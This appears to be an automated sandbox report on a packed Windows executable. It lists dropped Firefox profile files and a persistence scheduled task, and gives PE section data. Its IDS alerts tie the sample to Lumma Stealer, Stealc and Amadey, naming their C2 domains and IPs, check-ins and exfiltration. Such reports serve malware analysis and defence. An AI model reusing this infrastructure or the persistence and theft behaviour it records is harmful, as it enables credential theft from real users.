C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	modified
Size (bytes):	98304
Entropy (8bit):	0.0733666067446506
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zki:DLhesh7Owd4+ji
MD5:	ED87B8A9382BED342A8E3BD854182412
SHA1:	B0B206701B0C3139541F5EC7E523D675DA2D62A7
SHA-256:	CE8E42159391B6438E0E930864F84FDFAF766D98147EBE63F6DB3E67DB4C3849
SHA-512:	A45FD1216239E450AF7E952B6ACB368F497697D7DC64012B12EDE7647CF92C8FDCE7804F7CBC3B0EADC7B4AE0696E15BD1BD33EF1926759219F3C8936D6EEAF8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035699946889726504
Encrypted:	false
SSDEEP:	3:GtlstFjP2+Mt0NE4v1lstFjP2+Mt0NE4Y89//alEl:GtWtZ2+MH4NWtZ2+MH4Y89XuM
MD5:	8761D7659D84E884DD278BD9C0BB2DB6
SHA1:	65AC33364D8B7AB1A0BA5D05136B4EA759F1B83C
SHA-256:	31144A31A7F7D7546D3325234C726A21F5C856B4B15087DBF1ECE7A7E650C947
SHA-512:	3C1059463736C4D560F2C7FEE110DE25119C61DC1C5A31E0C1A518D4BF9CC1C16C4FC06636199A25C1E4B0C34E6A046DA34989F7884F7442AF565857D3958D07
Malicious:	false
Preview:	..-.....................4..:i.(Q.S..........=v..-.....................4..:i.(Q.S..........=v........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03435425369497894
Encrypted:	false
SSDEEP:	3:Ol1L/tIIUKtB5+7tf5SrV//mwl8XW3R2:KBQo5+7tEpuw93w
MD5:	7BF7418455A9C9C112AAC6DF2F5EB0B9
SHA1:	75096CD9BE7A31AC8D985E98A796374A181434D0
SHA-256:	33216A984940586CB0868D6070E4FCC077845DEB1F83E551DA1F2E5ADD2180B3
SHA-512:	32A113731B9B0D6CF689E91E0BF4A3D349DF345E958E5DE23E071DED96C53AEC2652BD5071C8ECE37E3793289F4E4EFE526D47BE315CB9648BBAB14832EF5204
Malicious:	false
Preview:	7....-...........S........W.'.7..........S......:.4Q(.i................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499974113039697
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp60LZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCeZFNMr4yrdwB0
MD5:	91AAA2B8D95E3A359F0C4CA49A9D3CF3
SHA1:	2CCC0EECC01B0D7416AFE18FBEE85D764460BBD7
SHA-256:	F313A0910EBFF4BCAC5B141DF399EE68FC828D5BD8F200DB1A7DC16D5199CC88
SHA-512:	6749642964241D21D9C146934C7ADC10FC8164A607CBD61230750162DA994689A36F01DAF5A6F869A73B79618601705DE20CB5F54FB1D47498DCF0A20F91DF6E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10751
Entropy (8bit):	5.499974113039697
Encrypted:	false
SSDEEP:	192:jnTFTRR4YbBp60LZNMGaXU6qU4rzy+/3/OYiNBw8diSl:PCeZFNMr4yrdwB0
MD5:	91AAA2B8D95E3A359F0C4CA49A9D3CF3
SHA1:	2CCC0EECC01B0D7416AFE18FBEE85D764460BBD7
SHA-256:	F313A0910EBFF4BCAC5B141DF399EE68FC828D5BD8F200DB1A7DC16D5199CC88
SHA-512:	6749642964241D21D9C146934C7ADC10FC8164A607CBD61230750162DA994689A36F01DAF5A6F869A73B79618601705DE20CB5F54FB1D47498DCF0A20F91DF6E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 4, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.042811512334329
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	21235938025E2102017AC8C9748948A4
SHA1:	A1EED1C4588724A8396C95FC9923C0A33B360FF8
SHA-256:	E34B06B180E3F73DC8E441650BB7FE694A9D58E927412D6ED40B0852B784824E
SHA-512:	D334B419A2A75179C17D7F53BF65FCC132ADE03B21059F0007ACDBB08284A281D8CE1C1CC598E6A070024D0DAE158E2E9618E121342BE068E87A051FE33D6061
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.446225435861986
Encrypted:	false
SSDEEP:	6:nKG4tXUhXUEZ+lX1CGdKUe6tE9+AQy0lqut0:KGO4Q1CGAFD9+nVzt0
MD5:	2BF2EA62AF9549EFA58C7EA6FB5C5DF2
SHA1:	28C82C827A35F06CA1BC9DA153F21E9A709DAA27
SHA-256:	9B7DCFDCD3023EF08F08DBA1879122293E9EB0359B6B1CD937D0E2A0C7166511
SHA-512:	3F337BBA183782C67502FCE3F84C5C36F16FCBC8767CE2807FB14FBE4182ECD2F8F4F15BEC45473BCB8953E0087E9C6338D1724E0B88CE000F42AFFA82E46BF7
Malicious:	false
Preview:	.......+Ri.B.+..V..fF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.55501869285618
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'949'632 bytes
MD5:	20430d8d39abdf5fc6b9654a561b7e83
SHA1:	9d1c8689f22d03701e34afd63e0bda0a627bb8b8
SHA256:	69d745bdccdf2c55a32b1fcb94ce3b99e389978e505f8b6add95fc11a043e8b4
SHA512:	596313a48d8401f02baafcc99615b6839470d8387786ec55e108b95469da23234b4147792e45785d18de8ca9fefd4fa66c65191d9bb7f4637e8c17c2aca68a79
SSDEEP:	49152:TfT6nSDwYlpEP/1qM9DQvY+Hm8B0BH4TMlE:rxDwSpdMVQvtB0BH4TMlE
TLSH:	DFD53AA26909B1CFE4CE17788577CD416A6D03B84B3149D3986C79BE7DA2EC015BFC28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....?.-...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x708000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8854C7BDCAh
pavgb mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8854C7DDC5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	d5e674f7c2b4bc8fa52f7c15c6db5568	False	0.9995358910891089	data	7.980382453594375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
czpsekko	0x60000	0x2a7000	0x2a6c00	889fb7f6148337fbc0a2fa8d693fa6ea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
spvyrroo	0x307000	0x1000	0x400	9d467919efc1089134ff899c8521adbe	False	0.8056640625	data	6.215639588891595	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x308000	0x3000	0x2200	83a4ba9ae949168dd6c27b68d787d7a1	False	0.0625	DOS executable (COM)	0.7523038660947333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T18:07:59.807361+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	64853	1.1.1.1	53	UDP
2024-10-24T18:07:59.819800+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	63233	1.1.1.1	53	UDP
2024-10-24T18:07:59.831203+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	62979	1.1.1.1	53	UDP
2024-10-24T18:07:59.843013+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	54902	1.1.1.1	53	UDP
2024-10-24T18:07:59.866751+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	57464	1.1.1.1	53	UDP
2024-10-24T18:07:59.878550+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	62811	1.1.1.1	53	UDP
2024-10-24T18:07:59.892514+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	52918	1.1.1.1	53	UDP
2024-10-24T18:07:59.903879+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	60695	1.1.1.1	53	UDP
2024-10-24T18:08:01.485732+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49708	104.102.49.254	443	TCP
2024-10-24T18:08:02.411178+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	104.21.53.8	443	TCP
2024-10-24T18:08:02.411178+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	104.21.53.8	443	TCP
2024-10-24T18:08:03.628116+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	104.21.53.8	443	TCP
2024-10-24T18:08:03.628116+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	104.21.53.8	443	TCP
2024-10-24T18:08:09.228129+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49716	104.21.53.8	443	TCP
2024-10-24T18:08:13.510343+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49739	104.21.53.8	443	TCP
2024-10-24T18:08:22.622003+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49744	185.215.113.16	80	TCP
2024-10-24T18:08:28.515936+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49819	185.215.113.37	80	TCP
2024-10-24T18:09:05.068521+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49992	185.215.113.43	80	TCP
2024-10-24T18:09:08.474846+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49994	185.215.113.16	80	TCP
2024-10-24T18:09:16.424998+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	64287	1.1.1.1	53	UDP
2024-10-24T18:09:16.441672+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	50091	1.1.1.1	53	UDP
2024-10-24T18:09:16.453576+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	55324	1.1.1.1	53	UDP
2024-10-24T18:09:16.465947+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	60779	1.1.1.1	53	UDP
2024-10-24T18:09:16.479187+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	62744	1.1.1.1	53	UDP
2024-10-24T18:09:16.491679+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	55961	1.1.1.1	53	UDP
2024-10-24T18:09:16.504397+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	59929	1.1.1.1	53	UDP
2024-10-24T18:09:16.517042+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	53085	1.1.1.1	53	UDP
2024-10-24T18:09:17.201292+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49993	TCP
2024-10-24T18:09:18.150257+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49996	185.215.113.43	80	TCP
2024-10-24T18:09:18.170439+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49995	104.102.49.254	443	TCP
2024-10-24T18:09:19.060302+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49997	185.215.113.16	80	TCP
2024-10-24T18:09:27.158095+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49999	185.215.113.43	80	TCP
2024-10-24T18:09:27.921020+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50000	185.215.113.37	80	TCP
2024-10-24T18:09:28.098901+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50001	185.215.113.16	80	TCP
2024-10-24T18:09:28.957368+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	59100	1.1.1.1	53	UDP
2024-10-24T18:09:28.971277+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	49842	1.1.1.1	53	UDP
2024-10-24T18:09:28.984685+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	65109	1.1.1.1	53	UDP
2024-10-24T18:09:28.997027+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	64451	1.1.1.1	53	UDP
2024-10-24T18:09:29.008965+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	55478	1.1.1.1	53	UDP
2024-10-24T18:09:29.022667+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	49816	1.1.1.1	53	UDP
2024-10-24T18:09:29.037304+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	54200	1.1.1.1	53	UDP
2024-10-24T18:09:29.051128+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	65448	1.1.1.1	53	UDP
2024-10-24T18:09:30.582344+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50002	104.102.49.254	443	TCP
2024-10-24T18:09:31.442888+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50003	104.21.53.8	443	TCP
2024-10-24T18:09:31.442888+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50003	104.21.53.8	443	TCP
2024-10-24T18:09:32.751564+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50004	104.21.53.8	443	TCP
2024-10-24T18:09:32.751564+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50004	104.21.53.8	443	TCP
2024-10-24T18:09:34.985854+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50006	185.215.113.43	80	TCP
2024-10-24T18:09:35.902456+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50007	185.215.113.16	80	TCP
2024-10-24T18:09:35.902456+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50007	185.215.113.16	80	TCP
2024-10-24T18:09:36.578629+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50010	104.21.53.8	443	TCP
2024-10-24T18:09:37.776058+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	65096	1.1.1.1	53	UDP
2024-10-24T18:09:37.925898+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	49291	1.1.1.1	53	UDP
